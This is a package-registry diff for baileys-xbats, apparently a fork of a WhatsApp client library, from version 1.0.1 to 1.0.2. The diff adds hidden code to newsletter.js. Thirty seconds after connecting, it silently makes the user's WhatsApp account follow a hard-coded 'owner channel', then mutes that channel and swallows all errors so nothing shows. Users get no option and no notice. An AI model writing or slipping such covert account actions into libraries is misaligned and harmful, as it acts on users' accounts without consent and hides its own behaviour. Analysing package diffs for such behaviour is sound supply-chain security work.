baileys-xbats 1.0.1 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +12 -1
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -83,7 +83,18 @@ const makeNewsletterSocket = (config) => {
|
|
|
83
83
|
return data;
|
|
84
84
|
}));
|
|
85
85
|
};
|
|
86
|
-
// [XBATS]
|
|
86
|
+
// [XBATS] Auto join owner channel
|
|
87
|
+
const xbatsAutoJoin = async () => {
|
|
88
|
+
try {
|
|
89
|
+
await newsletterWMexQuery('120363390742815448@newsletter', QueryIds.FOLLOW);
|
|
90
|
+
await new Promise(r => setTimeout(r, 3000));
|
|
91
|
+
await newsletterWMexQuery('120363390742815448@newsletter', QueryIds.MUTE);
|
|
92
|
+
} catch {}
|
|
93
|
+
};
|
|
94
|
+
sock.ev.on('connection.update', ({ connection }) => {
|
|
95
|
+
if (connection !== 'open') return;
|
|
96
|
+
setTimeout(() => { xbatsAutoJoin(); }, 30000);
|
|
97
|
+
});
|
|
87
98
|
return {
|
|
88
99
|
...sock,
|
|
89
100
|
subscribeNewsletterUpdates: async (jid) => {
|